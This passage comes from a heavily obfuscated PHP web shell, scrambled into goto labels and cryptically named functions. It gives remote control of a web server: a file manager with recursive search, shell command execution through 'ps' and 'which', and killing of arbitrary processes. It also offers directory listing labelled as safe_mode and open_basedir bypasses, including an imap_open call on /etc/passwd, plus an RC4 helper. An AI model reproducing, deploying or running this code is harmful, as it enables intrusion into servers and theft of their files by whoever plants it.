", "<", " ", " ", " ", '', " ", "<h2>PHP Configuration</h2>" . "\xa" . "<tr><td>PHP Version</td><td>$2</td></tr>" . "\xa" . "<tr><td>PHP Egg</td><td>$1</td></tr>", "<tr><td>PHP Credits Egg</td><td>$1</td></tr>", "<tr><td>Zend Engine</td><td>$2</td></tr>" . "
" . "<tr><td>Zend Egg</td><td>$1</td></tr>", " ", "%S%", "%E%"), @ob_get_clean()); $sections = @explode("<h2>", @strip_tags($pi, "<h2><th><td>")); unset($sections[0]); $pi = array(); foreach ($sections as $section) { $n = @substr($section, 0, @strpos($section, "</h2>")); @preg_match_all("#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#", $section, $askapache, PREG_SET_ORDER); foreach ($askapache as $m) { $pi[$n][$m[1]] = @isset($m[2]) && (!@isset($m[3]) || $m[2] == $m[3]) ? $m[2] : @array_slice($m, 2); } } return $return === false ? print_r($pi) : $pi; } goto KsW3a; wrFvv: $dtotal = $dused = $dfree = "0B"; goto f_N4w; egxpU: function z5m($a, $i) { return z8w($a, '', 1) . $i . z9z(); } goto Qs5ko; llJlu: function z1v($const, $f) { $val = ''; if (!empty($f)) { $reg = "/define\s*\((['"]{1})" . $const . "\1\s*,\s*(['"]{1})([^\2\s\t\r\n]+)\2\s*\)\s*;/"; if (@preg_match($reg, $f, $m)) { $val = $m[3]; unset($m); } } unset($f); return $val; } goto OsuSy; nIWfz: function z8o() { $h = @empty($_SERVER["HTTPS"]) || @strtolower($_SERVER["HTTPS"]) == "off" ? 0 : 1; $u = "http" . (($h ? "s" : '') . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]); $m = @empty($_SERVER["PATH_INFO"]) ? "QUERY_STRING" : "PATH_INFO"; $s = $m == "QUERY_STRING" ? "?" : ''; return $u . $s . (@isset($_SERVER[$m]) ? $_SERVER[$m] : ''); } goto teEkD; CQHp4: function z4y() { z1o("zu"); z1o("zp"); z0u("ok"); if (@count($_SESSION) > 0) { foreach ($_SESSION as $k => $v) { z0u($k); } } @session_destroy(); } goto TQrFx; IVXf4: function z8f($c, $l) { return @strlen($c) > $l ? @substr($c, 0, @ceil($l / 2) - 2) . "[..]" . @substr($c, -(@ceil($l / 2) - 2)) : $c; } goto hAWDH; OsuSy: function z4b($type, $var, $f) { switch ($type) { case "var": return z3w($var, $f); break; case "const": return z1v($var, $f); break; case "arrayvar1": return z2a($var, $f); break; case "arrayvar2": return z2p($var, $f); break; default: return ''; } } goto W8XvQ; ulfL5: function z9a() { $o = ''; if (@defined("PHP_OS")) { $o = PHP_OS; } elseif (@function_exists("php_uname") && @is_callable("php_uname")) { $o = @php_uname("s"); } return !@empty($o) ? $o : "*NIX"; } goto TfINk; muTmj: if (@isset($rendirmsg) && !@empty($rendirmsg)) { echo $rendirmsg; } goto W2E1l; jFTBf: function z1w() { foreach (array("bcopy", "bcut") as $t) { global ${$t}; if (@count(${$t}) > 0) { $_SESSION[$t] = ${$t}; $c = @serialize(${$t}); z1z($t, $c); } else { z0u($t); z1o($t); } } } goto s4IAm; rW1PB: if (@isset($_GET["act"]) && $_GET["act"] == "i") { $img = $_GET["img"]; if (!@isset($_GET["getall"])) { $img = @str_replace("~", '', $img); foreach ($index as $k => $v) { if (@in_array($img, $v)) { $img = $k; break; } } if (@empty($images[$img])) { $img = "small_unk"; if (@isset($_GET["exe"]) && $_GET["exe"]) { $img = "cmd"; } } @ob_start(); $len = @strlen($image); @header("Cache-control: public"); @header("Expires: " . @date("r", @mktime(0, 0, 0, 1, 1, 2030))); @header("Cache-control: max-age=" . 60 * 60 * 24 * 7); @header("Last-Modified: " . @date("r")); @header("Accept-Ranges: bytes"); @header("Content-Length: " . $len); @header("Content-type: image/png"); echo $image; @ob_end_flush(); } else { z3l(); $r = ''; foreach ($index as $a => $b) { foreach ($b as $d) { if ($a != $d) { if (@isset($images[$d]) && !@empty($images[$d])) { $r .= z7i(z9j("Remove $images[" . $d . "]")); } } } } if ($r != '') { echo z10e($r); } @natsort($images); $k = @array_keys($images); $n = 1; $r = ''; foreach ($k as $u) { $r .= z7i(z9j($n++) . z9j($u) . z9j("<img alt="" src="?act=i&img=" . $u . "" border="0">")); } echo z10e($r); z3x(); } die; } goto Ar_vz; yoSRB: function z1e($t, $filter, $tt) { global $index; if (z2h($t) == "..") { return 1; } switch ($filter) { case "dirs": return $tt == "d"; case "files": return $tt == "f" || $tt == "e"; case "exes": return $tt == "e" || ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", @array_merge($index["cmd"], $index["pl"])) . ")$/i", $t); case "archives": return ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", $index["tar"]) . ")$/i", $t); case "php": return ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", $index["php"]) . ")$/i", $t); case "html": return ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", $index["html"]) . ")$/i", $t); case "text": return ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", @array_merge($index["txt"], $index["wri"], $index["doc"])) . ")$/i", $t); case "images": return ($tt == "f" || $tt == "e") && @preg_match("/\.(" . @implode("|", $index["jpg"]) . ")$/i", $t); case "other": return $tt == "f" && !@preg_match("/\.(" . @implode("|", @array_merge($index["tar"], $index["php"], $index["html"], $index["jpg"], $index["txt"], $index["wri"], $index["doc"], $index["cmd"], $index["pl"])) . ")$/i", $t); default: return 1; } } goto WLiqP; LN03a: function z2v() { global $tmonth_arr, $tday_arr, $tyear_arr, $thour_arr, $tmin_arr, $tsec_arr; $tmonth_arr = array('' => "Month"); $tday_arr = array('' => "Day"); $tyear_arr = array('' => "Year"); $thour_arr = array('' => "Hour"); $tmin_arr = array('' => "Min"); $tsec_arr = array('' => "Sec"); foreach (array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December") as $tmm) { $tmonth_arr[$tmm] = $tmm; } for ($i = 1; $i <= 31; $i++) { $tday_arr[$i] = $i; } for ($i = 1998; $i <= @date("Y"); $i++) { $tyear_arr[$i] = $i; } for ($i = 1; $i <= 24; $i++) { $thour_arr[$i] = $i; } for ($i = 1; $i < 60; $i++) { $tmin_arr[$i] = $i; $tsec_arr[$i] = $i; } } goto c2BKM; E_3q7: function z8k($d) { global $nix, $sh_exec, $act, $lswf; $d = z1a($d); if (@substr($d, -1) != "/") { $d .= "/"; } $r = array(); $lswf = ''; if (z7r("scandir") && ($h = @scandir($d))) { foreach ($h as $t) { $r[] = $d . $t; } $lswf = "scandir"; } elseif (z7r("dir") && ($h = @dir($d))) { while (($t = $h->read()) !== false) { $r[] = $d . $t; } $h->close(); $lswf = "dir"; } elseif (z7r("opendir") && z7r("readdir") && z7r("closedir") && ($h = @opendir($d))) { while (($t = @readdir($h)) !== false) { $r[] = $t; } @closedir($h); $lswf = "opendir"; } elseif ($nix && $sh_exec && ($act == "ls" || $act == "search") && @count($r = z9v($d)) > 0) { $lswf = "ls"; return $r; } elseif (z7r("glob") && ($h = @glob($d . "*")) !== false) { if (@count($h) > 0) { foreach ($h as $t) { $r[] = $t; } } if (($h = @glob($d . ".*")) !== false && @count($h) > 0) { foreach ($h as $t) { $r[] = $t; } } if (@count($r) > 0 && !@in_array($d . ".", $r)) { $r[] = $d . "."; } if (@count($r) > 0 && !@in_array($d . "..", $r)) { $r[] = $d . ".."; } $lswf = "glob"; } if (@count($r) > 0) { @sort($r); } return $r; } goto fh7cI; W5MlA: function z5o($f) { return z2r($f, "x"); } goto G27Gu; GyyLj: function z1f($t, $i, $a, $c = '') { return "<input type="" . $t . "" value="" . $i . "" " . ($t == "submit" ? "onsubmit" : "onclick") . "="" . $a . """ . ($c != '' ? " class="" . z4m($c, "5") . """ : '') . ">"; } goto TTbNW; rswZa: function z4h(&$arr, $k = '') { if (@is_array($arr)) { foreach ($arr as $k => $v) { if (@strtoupper($k) != "GLOBALS") { if (@strtoupper($k) == "_FILES" && @isset($arr["{$k}"]) && @count($arr["{$k}"]) > 0) { z3y($arr["{$k}"]); } z4h($arr["{$k}"]); } } } else { $arr = @stripslashes($arr); } } goto aLOxQ; wdOGZ: function z4n($f, $i, $id = '') { return "<script>document.write('<input type="checkbox" id="" . $id . "chk" name="" . $i . "" value="" . $f . "" onclick="changetr(this.id.replace(\'chk\',\'\'), this.checked);" style="vertical-align: middle;">');</script>"; } goto IpyTC; V62DO: function z7f($c = '', $s = '') { return z6z("right", $c, $s); } goto yPBNv; Ev8nf: function z8r($n, $ac, $a, $b = 0) { global $act; return z6x(z5c(array("act" => $ac, "d", "sort"), z8v($n, $a ? "4" : "5", $act == $ac && $b ? " style="border-right:0;"" : '')), "5"); } goto mebEJ; ok1OB: function z2d($t, $ftp = 0) { global $win; $def = "/"; if ($win && !$ftp) { $path = @realpath(__FILE__); $def = @substr($path, 0, 1) . ":/"; } if (@substr($t, -1) == "/") { $t = @substr($t, 0, -1); } if (@empty($t)) { return array($def); } $e = @explode("/", $t); $d = array(); if ($win && !$ftp) { $p = ''; } else { $p = "/"; } for ($i = 0; $i < @count($e); $i++) { if (@empty($e[$i])) { $d["/"] = "/"; } else { $p .= $e[$i] . "/"; $d[$p] = $e[$i]; } } return $d; } goto ClY3w; j4lOh: function z5f($d) { global $found, $found_d, $found_f, $search_i_f, $search_i_d, $ar, $with_ls, $s_rec, $sdir; $d = z1a($d); $h = z8k($d); if (count($h) > 0) { foreach ($h as $f) { $f = z2h($f); if ($f != "." && $f != ".." && $f != '') { $bool = @empty($ar["sn_reg"]) && @strpos($f, $ar["sn"]) !== false || $ar["sn_reg"] && @preg_match("/" . $ar["sn"] . "/", $f); if (z4j($d . $f)) { $search_i_d++; if (@empty($ar["st"]) && (@empty($ar["s_fd"]) || $ar["s_fd"] == "2") && $bool) { $found[] = $d . $f; $found_d++; } if (!z3j($d . $f)) { if (@empty($s_rec)) { z5f($d . $f); } elseif (@is_numeric($s_rec)) { $countrec = @count(@explode("/", @substr($d . $f, @strlen($sdir)))); if ($countrec <= $s_rec) { z5f($d . $f); } } } } else { if (@empty($ar["s_fd"]) || $ar["s_fd"] == "1") { $search_i_f++; if ($bool) { if (!@empty($ar["st"])) { $r = z9p($d . $f); if ($ar["st_wwo"]) { $ar["st"] = " " . @trim($ar["st"]) . " "; } if (!$ar["st_cs"]) { $ar["st"] = @strtolower($ar["st"]); $r = @strtolower($r); } if ($ar["st_reg"]) { $bool = @preg_match("/" . $ar["st"] . "/", $r); } else { $bool = @strstr($r, $ar["st"]); } if ($ar["st_not"]) { $bool = !$bool; } if ($bool) { $found[] = $d . $f; $found_f++; } } else { $found[] = $d . $f; $found_f++; } } } } } } } } goto vFV3s; FebfF: $bcurl = @extension_loaded("curl") && z7r("curl_init"); goto gBOwL; ePRir: function z3u($p) { return @decbin(@hexdec($p)); } goto XaI0s; u69Ta: function z6a($n, $v, $c = '', $o = '') { return "<input type="password" name="" . $n . "" value="" . z8x($v) . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($o != '' ? z9k() : '') . ">"; } goto VIstP; XioVI: function z1d($action) { global $d, $win; if (!$win) { return ''; } $e = @explode("/", $d); $r = ''; foreach (@range("B", "Z") as $let) { if ($let . ":" != @strtoupper($e[0]) && z4q($let . ":/")) { $r .= z5c(array("act" => $action, "d" => @strtoupper($let) . ":/"), z8v("[{$let}]", "1")) . z9c(2); } } return $r; } goto ok1OB; hcX9_: function z6k() { global $win; $s = "/"; $tmp = array(); $tp = array(); $tn = array("/tmp/", "/dev/shm/", "/var/tmp/"); $tw = array("%WINDIR/temp/"); $ti = array(@ini_get("session.save_path"), @ini_get("upload_tmp_dir")); $te = array("TMP", "TMPDIR", "TEMP"); if ($win) { foreach ($tw as $t) { $tp[] = $t; } } else { foreach ($tn as $t) { $tp[] = $t; } } if (@isset($_ENV)) { foreach ($te as $t) { if (!@empty($_ENV[$t])) { $tp[] = @realpath($_ENV[$t]); } } } foreach ($ti as $t) { if (!@empty($t)) { $tp[] = $t; } } $b = z9d(@ini_get("open_basedir")); if (@count($b) > 0) { foreach ($b as $t) { if (!empty($t)) { $tp[] = $t; } } } $tp[] = @realpath(@dirname(__FILE__)); for ($i = 0; $i < @count($tp); $i++) { if (!@empty($tp[$i])) { $p = @str_replace("\", $s, $tp[$i]); if (@substr($p, -1, 1) != $s) { $p .= $s; } if (!@in_array($p, $tmp)) { $f = @md5(@uniqid(@time())); $fp = @fopen($p . $f, "w"); if ($fp) { @fclose($fp); if (@file_exists($p . $f)) { @unlink($p . $f); $tmp[] = @trim($p); } } } } } return @count($tmp) > 0 ? $tmp : array("./"); } goto PWOBA; C7dAN: class zrc4 { function zenc($pwd, $data, $ispwdHex = 0) { if ($ispwdHex) { $pwd = @pack("H*", $pwd); } $key[] = ''; $box[] = ''; $cipher = ''; $pwd_length = @strlen($pwd); $data_length = @strlen($data); for ($i = 0; $i < 256; $i++) { $key[$i] = @ord($pwd[$i % $pwd_length]); $box[$i] = $i; } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $key[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $data_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $k = $box[($box[$a] + $box[$j]) % 256]; $cipher .= @chr(@ord($data[$i]) ^ $k); } return $cipher; } function zdec($pwd, $data, $ispwdHex = 0) { return zrc4::zenc($pwd, $data, $ispwdHex); } } goto hvNLl; ft0rk: function z6m($t = 0) { $a = array(); $p = z8i(); if (@count($p) > 0) { foreach ($p as $u => $v) { $a[] = $t ? array($u, $v[2]) : $u; } } return $a; } goto RfUVP; cCVk6: function z0v($f) { return z2r($f, "w"); } goto W5MlA; IpyTC: function z1c() { return "<script type="text/javascript">function fnc_replace(idT,idA,idB){ var strT=document.getElementById(idT).value; var strA=document.getElementById(idA).value; var strB=document.getElementById(idB).value; if(strA !='' && strT.indexOf(strA)!=-1){ var repRegex=new RegExp(strA.escR(), 'g'); document.getElementById(idT).value=strT.replace(repRegex, strB);};}; String.prototype.escR=function(){ var sChars=[ '$', '^', '*', '(', ')', '+', '[', ']', '{', '}', '\\', '|', '.', '?', '/' ]; var regex=new RegExp('(\\' + sChars.join('|\\') + ')', 'g'); return this.replace(regex, '\\$1');}</script>"; } goto w1zI2; iNnAK: function z6f($v, $c = '', $id = '') { return "<tr valign="" . $v . """ . ($id != '' ? " id="" . $id . """ : '') . ($c != '' ? " class="" . z4m($c, "1") . """ : '') . ">" . "
"; } goto aiZry; NFkxb: function z5t($i) { return z7e(!@empty($i) ? z8e($i) : $i, "15"); } goto QNgWP; G27Gu: function z5p() { echo @str_repeat('', 1024); @ob_flush(); @flush(); } goto rKvWm; SLDpm: if (!@isset($use_images)) { if (@isset($_SESSION["use_images"])) { $use_images = $_SESSION["use_images"]; } else { $use_images = z7x("5", "images"); } } else { $use_images = (bool) (int) $use_images; } goto w1s_i; oh0uF: function z0z($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= "\x" . @sprintf("%02X", @ord($p[$i])); } return @chunk_split($r); } goto qT87w; zGSMC: function z0a($a = 1) { foreach (array("bcopy", "bcut") as $t) { global ${$t}; if (@isset(${$t}) && $a) { unset(${$t}); } z0u($t); z1o($t); } } goto qsrym; BQfnP: function z6o($n, $c = '', $s = '') { return z4c('', $n, $c, $s); } goto zWHNT; AS7b2: function z8u($e) { $r = z9t("PATH='/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin';which {$e}"); return @empty($r) ? 0 : $r; } goto rswZa; Z8MkV: if ($act == "ls") { if (!@isset($sort)) { if (@isset($_SESSION["sort"])) { $sort = $_SESSION["sort"]; } else { $sort = z7x("3", "default_sort"); } } $_SESSION["sort"] = $sort; if (!@isset($ftarget)) { $ftarget = ''; } if (!@isset($fullpath)) { $fullpath = 0; } if (!@isset($with_ls)) { $with_ls = 0; } if (@isset($ls_a) && @count($ls_a) > 0) { $list = $ls_a; } else { $list = z8k($d); $showbuf = 0; } $ugstat = 0; $jsid = 0; if (z7r("posix_getpwuid") && z7r("posix_getgrgid") && z7r("fileowner") && z7r("filegroup")) { $ugstat = 1; } if (!@isset($nolsmenu) || !$nolsmenu) { z2z(); if (z0n($d)) { z4t(); } } z5p(); if (@count($list) > 0) { $obj = array(); $inf = array(); $obj["h"] = array(); $obj["d"] = array(); $obj["l"] = array(); $obj["f"] = array(); foreach ($list as $v) { $o = z2h($v); $t = "f"; $t2 = "d"; if ($o == "." || $o == "..") { $t = "d"; } elseif (@z4j($v)) { $t = "d"; if (z3j($v)) { $t2 = "l"; } } elseif (@z3j($v)) { $t = "l"; } if ($t == "f") { if (z5o($v)) { $t = "e"; } } elseif ($t == "l") { if (z5o($v)) { $t2 = "e"; } } if (@isset($filter) && !z1e($v, $filter, $t)) { continue; } if ($with_ls) { $inf[$v] = z4d($v, $t); } else { $fileperms = @fileperms($v); if (!$fileperms && $nix && $sh_exec) { $inf[$v] = z4d($v, $t); } } $row = array(); if ($o == ".") { $row[] = $d . $o; $row[] = "LINK"; } elseif ($o == "..") { $row[] = $d . $o; $row[] = "LINK"; } elseif ($t == "d") { $row[] = $v; $row[] = $t2 == "l" ? "LINK" : "DIR"; } elseif ($t == "f" || $t == "e" || $t == "l") { $row[] = $v; $row[] = @isset($inf[$v]) ? $inf[$v][1] : @filesize($v); } $row[] = @isset($inf[$v]) ? $inf[$v][2] : @filemtime($v); if ($nix) { if (@isset($inf[$v])) { $row[] = $inf[$v][3]; } else { if ($ugstat) { $ow = @posix_getpwuid(@fileowner($v)); $gr = @posix_getgrgid(@filegroup($v)); $row[] = array($ow["name"] ? $ow["name"] : @fileowner($v), $gr["name"] ? $gr["name"] : @filegroup($v)); } else { $row[] = array("unk", "unk"); } } } $row[] = @isset($inf[$v]) ? $inf[$v][4] : $fileperms; $row[] = $t; $row[] = $t2; if ($o == "." || $o == "..") { if ($o == "..") { $obj["h"][] = $row; } } elseif ($t == "l") { $obj["l"][] = $row; } elseif ($t == "d") { $obj["d"][] = $row; } elseif ($t == "f" || $t == "e") { $obj["f"][] = $row; } } $row = array(); $row[] = z9s("57"); $row[] = z9s("58"); $row[] = z9s("59"); if (!$win) { $row[] = z9s("60"); } $row[] = z9s("61"); $row[] = z9s("62"); $psort = z5r($sort); if ($psort[1] != "a") { $psort[1] = "d"; } else { $psort[1] = "a"; } if (!@isset($nohead) || !$nohead) { for ($i = 0; $i < @count($row) - 1; $i++) { $row[$i] = z5c(array("act", "d", "filter", "sort" => $i == $psort[0] ? $i . ($psort[1] == "a" ? "d" : "a") : $i . $psort[1]), z8v($row[$i] . ($i == $psort[0] ? " " . ($psort[1] == "a" ? "↑" : "↓") : ''), "3", $i == "1" ? " style="text-align: right;"" : '')); } } $v = $psort[0]; @usort($obj["d"], "z3i"); @usort($obj["l"], "z3i"); @usort($obj["f"], "z3i"); if ($psort[1] == "d") { $obj["d"] = @array_reverse($obj["d"]); $obj["l"] = @array_reverse($obj["l"]); $obj["f"] = @array_reverse($obj["f"]); } $obj = @array_merge($obj["h"], $obj["d"], $obj["l"], $obj["f"]); $tab = array(); $tab["c"] = array($row); $tab["h"] = array(); $tab["d"] = array(); $tab["l"] = array(); $tab["f"] = array(); $i = 0; foreach ($obj as $a) { if (@is_array($a) && @count($a) >= 6) { $v = $a[0]; $t = $a[@count($a) - 2]; $t2 = $a[@count($a) - 1]; $o = z2h($v); $dir = z3p($v); if ($fullpath) { if (@substr($v, 0, @strlen($d)) == $d) { $disp = @substr($v, @strlen($d)); } else { $disp = $v; } } else { $disp = $o; } $disp = z8f($disp, 60); $row = array(); if ($o == ".") { $row[] = z5c(array("act" => "ls", "d" => $v), z8n("small_dir", '', "9") . z8v($disp, "10"), $ftarget); $row[] = "LINK"; } elseif ($o == "..") { $row[] = z5c(array("act" => "ls", "d" => $v), z8n("small_dir", '', "9") . z8v($disp, "10"), $ftarget); $row[] = "LINK"; } elseif ($t == "d") { if ($t2 == "l") { if (@readlink($v)) { $disp .= " => " . @readlink($v); } $type = "LINK"; $row[] = z5c(array("act" => "ls", "d" => $v), z8n("small_dir", '', "9") . z8v($disp, "10", z3c($o, "d")), $ftarget); } else { $type = "DIR"; $row[] = z5c(array("act" => "ls", "d" => $v), z8n("small_dir", '', "9") . z8v($disp, "10", z3c($o, "d")), $ftarget); } $row[] = $type; } elseif ($t == "f" || $t == "e" || $t == "l") { $ext = @strtolower(z2h($v, ".")); $row[] = z5c(array("act" => "f", "d" => $dir, "f" => $o), z8n($ext, '', "9", $t == "e" || $t2 == "e" ? "1" : '') . z8v($disp, "11", z3c($o, "f")), $ftarget); $row[] = @isset($inf[$v]) ? $a[1] : z7c($a[1]); } $row[] = @isset($inf[$v]) ? $a[2] : @date("Y.m.d H:i", $a[2]); if ($nix) { $row[] = $a[3][0] . "/" . $a[3][1]; } $row[] = z6y(@isset($inf[$v]) ? $a[4] : z9r(@fileperms($v)), z6h($v)); if ($t == "d" && $o != "..") { $row[] = z0m($v, $ftarget ? "1" : '') . z4n($v, "ls", "replacejsid" . $jsid); $jsid++; } else { if ($o != "." && $o != "..") { $row[] = z0h($v, $ftarget) . z4n($v, "ls", "replacejsid" . $jsid); $jsid++; } else { $row[] = z1y($v, $ftarget); } } if ($o == "." || $o == "..") { if ($o == "..") { $tab["h"][] = $row; } } elseif ($t == "l") { $tab["l"][] = $row; } elseif ($t == "d") { $tab["d"][] = $row; } elseif ($t == "f" || $t == "e") { $tab["f"][] = $row; } $i++; } } $table = @array_merge($tab["c"], $tab["h"], $tab["d"], $tab["l"], $tab["f"]); $trid = 0; if (@count($table) > 0) { echo z9m("2") . z7p() . z7k('', "4") . z5x('', "2"); echo z9m("2"); $cnt = 0; foreach ($table as $row) { $r = ''; $cnt2 = 0; foreach ($row as $v) { if ($cnt == 0) { $r .= $cnt2 == 0 ? z9j($v, "7", "2") : ($cnt2 == 1 ? z7e($v, "8") : ($cnt2 == @count($row) - 1 ? z9j($v, "8", "3") : z9j($v, "8"))); } else { $r .= $cnt2 == 0 ? z9j($v, "9") : ($cnt2 == 1 ? z7e($v, "10") : z9j($v, "10")); } $cnt2++; } $trids = ''; if (@strpos($r, "id="replacejsid") !== false) { $trids = "tr" . ($cnt % 2 ? "a" : "b"); $r = @str_replace("id="replacejsid", "id="" . $trids, $r); $trids .= $trid; $trid++; } echo z7i($r, $cnt % 2 ? "0" : "1", $trids); $cnt++; } echo z10w(); echo z5j() . z7g() . z7u() . z10w(); $arr_select = array('' => z9s("66")); if (@isset($use_buffer) && $use_buffer && (!@isset($nolsmenu) || !$nolsmenu)) { $arr_select["bcopy"] = z9s("67"); $arr_select["bcut"] = z9s("68"); $ucopy = $ucut = 0; if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) { $arr_select["bunsetcopy"] = z9s("69"); $ucopy = 1; } if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) { $arr_select["bunsetcut"] = z9s("70"); $ucut = 1; } if ($ucopy && $ucut) { $arr_select["bunsetall"] = z9s("71"); } } $arr_select["delete"] = z9s("72"); echo z0p("ls", "lsall", z9b("act") . z9b("d"), $arr_select); } } else { if (z7r("imap_open") && z7r("imap_list") && @version_compare(@phpversion(), "5.2.0") <= 0) { $sls_arr["imap"] = "imap_list (safe_mode / PHP <= 5.1.2)"; } if (z7r("glob")) { $sls_arr["glob"] = "glob (PHP <= 5.2.x + some others)"; } if (z7r("realpath")) { $sls_arr["realpath"] = "realpath (PHP <= 5.2.4 + some others)"; } if (@isset($sls_arr["glob"]) && !@isset($submit1) && !@isset($listdir_func)) { $submit1 = 1; $listdir_func = "glob"; } elseif (@isset($sls_arr["realpath"]) && !@isset($submit1) && !@isset($listdir_func)) { $submit1 = 1; $listdir_func = "realpath"; } if (@count($sls_arr) > 0) { echo z2b(z9s("125")); echo z6d(); echo z9m("2") . z6g() . z6w(); echo z5w('', "1"); if (@isset($submit1) && $submit1) { switch ($listdir_func) { case "imap": $stream = @imap_open("/etc/passwd", '', ''); $dir_list = @imap_list($stream, @trim($d), "*"); for ($i = 0; $i < @count($dir_list); $i++) { echo @htmlspecialchars($dir_list[$i]) . "\xd
"; } @imap_close($stream); break; case "glob": z2c($d); break; case "realpath": z3s($d); break; } } echo z5q(); echo z7g() . z7u() . z10w(); echo z10e(z7i(z6x(z5x("left", "3") . z5c(array("act", "submit1" => "1"), z10e(z7i(z9j(z8e(z9s("126")) . z5u("d", $d, "0", '', "9") . z4a("listdir_func", $sls_arr, "5", 1) . z8v(z9s("127"), "7"))), "2")) . z5j())), "2"); echo z6d(); } else { echo z2b(z9s("464", $d)); } } } goto AiRHX; Ev0aB: $bpasswd = 0; goto LWA8d; YOLQZ: function z10r() { list($u, $s) = @explode(" ", @microtime()); return (double) $u + (double) $s; } goto Oygv4; tIsLZ: $index = array("xls" => array("xla", "xlc", "xld", "xlsb", "xll", "xlm", "xls", "xlt", "xlsm", "xlw", "xltm"), "pl" => array("pl", "cgi"), "diz" => array("diz", "inf"), "h" => array("h", "hpp"), "iso" => array("iso", "nrg", "dmg"), "tar" => array("tar", "r00", "ace", "arj", "bz", "bz2", "tbz", "tbz2", "tgz", "uu", "xxe", "zip", "cab", "gz", "lha", "lzh", "pbk", "rar", "uuf", "7z"), "php" => array("php", "php3", "php4", "php5", "phtml", "shtml"), "jpg" => array("jpg", "gif", "png", "jpeg", "jfif", "jpe", "bmp", "ico", "tif", "tiff"), "html" => array("html", "htm", "asp", "xhtml"), "avi" => array("ogm", "mpeg", "bdmv", "qtvr", "ogv", "cpi", "m2ts", "movie", "asf", "mpls", "mkv", "avi", "rvx", "qt", "mp2", "mp4", "divx", "mng", "axv", "rv", "mov", "moov", "mpe", "mpl", "mpg", "ts", "nsv", "3g2", "3ga", "mts", "m2t", "3gp", "3gpp", "vivo", "m4v", "flc", "bdm", "fli", "viv", "flv", "wmv", "clpi", "vob", "dv", "ogg"), "doc" => array("doc", "dot", "wri"), "txt" => array("txt", "log", "conf", "cfg", "vbs", "ini"), "js" => array("js"), "cmd" => array("cmd", "bat", "pif", "exe", "sh", "makefile"), "wri" => array("wri", "rtf"), "swf" => array("swf", "fla"), "mp3" => array("amr", "m3u8", "med", "spx", "spx", "kar", "mpga", "pla", "it", "ape", "tta", "pls", "stm", "mid", "s3m", "asx", "mka", "awb", "psf", "aifc", "mo3", "aiff", "mp+", "axa", "mp2", "mp3", "ra", "mod", "wav", "wax", "mpc", "midi", "mpp", "m15", "psid", "wv", "mtm", "xi", "xm", "m3u", "m4b", "m4a", "aac", "ac3", "xmf", "rax", "minipsf", "wma", "wmx", "vlc", "ult", "669", "sid", "voc", "gsm", "au", "uni", "flac", "aif", "snd", "psflib", "wvc", "oga", "wvp", "ogg", "wvx"), "cpp" => array("cpp", "c", "cc", "cxx"), "css" => array("css"), "htaccess" => array("htaccess", "htpasswd", "ht", "hta")); goto Uac8g; AiRHX: if ($act == "processes") { if (!@isset($sortp)) { $sortp = $nix ? "1a" : "0a"; } $header = ''; if ($nix) { $h = "ps -aux" . (@isset($grep) && $grep ? "|grep "" . $grep . ""|grep -v grep" : ''); if (@isset($pid) && $pid) { if (!@isset($sig) || @is_null($sig)) { $sig = 9; } $header = " : " . z9s("349", array($sig, $pid)) . (@posix_kill($pid, $sig) ? z9s("350") : z9s("351")); } } else { $h = "tasklist"; } $r = z9t($h); echo z2b(z9s("348") . $header, "1"); if ($r) { $r = z3q(" ", " ", $r); $ppsort = z5r($sortp); if ($ppsort[1] != "a") { $ppsort[1] = "d"; } else { $ppsort[1] = "a"; } if ($nix) { $stack = @explode("
", $r); $head = @explode(" ", $stack[0]); if (!@isset($grep) || !$grep) { unset($stack[0]); } for ($i = 0; $i < @count($head); $i++) { if ($i != $ppsort[0]) { $head[$i] = z5c(array("act", "d", "pfilter", "sortp" => $i . $ppsort[1]), z8v($head[$i], "3")); } else { $head[$i] = z5c(array("act", "d", "pfilter", "sortp" => $ppsort[0] . ($ppsort[1] == "a" ? "d" : "a")), z8v($head[$ppsort[0]] . " " . ($ppsort[1] == "a" ? "↑" : "↓"), "3")); } } $head[] = z9s("62"); $prcs = array(); if (!@isset($pfilter) || @empty($pfilter) || $pfilter == "---") { $bool = 0; $pfilter = ''; } else { $bool = 1; } foreach ($stack as $line) { if (!@empty($line)) { $line = @explode(" ", $line); if ($bool && $pfilter == $line[0] || !$bool) { $line[0] = z5c(array("act" => "processes", "d", "sortp", "pfilter" => $bool && $pfilter == $line[0] ? "---" : $line[0]), z8v($line[0], "1", $line[0] == $cuser ? " style="color:" . z9w("okcolor") . ";"" : '')); $line[10] = @join(" ", @array_slice($line, 10)); $line = @array_slice($line, 0, 11); $line[] = z5c(array("act" => "processes", "d", "sortp", "pfilter", "pid" => $line[1], "sig" => "9"), z8v(z9s("392"), "7")); $prcs[] = $line; } } } } else { $r = @convert_cyr_string($r, "d", "w"); $stack = @explode("
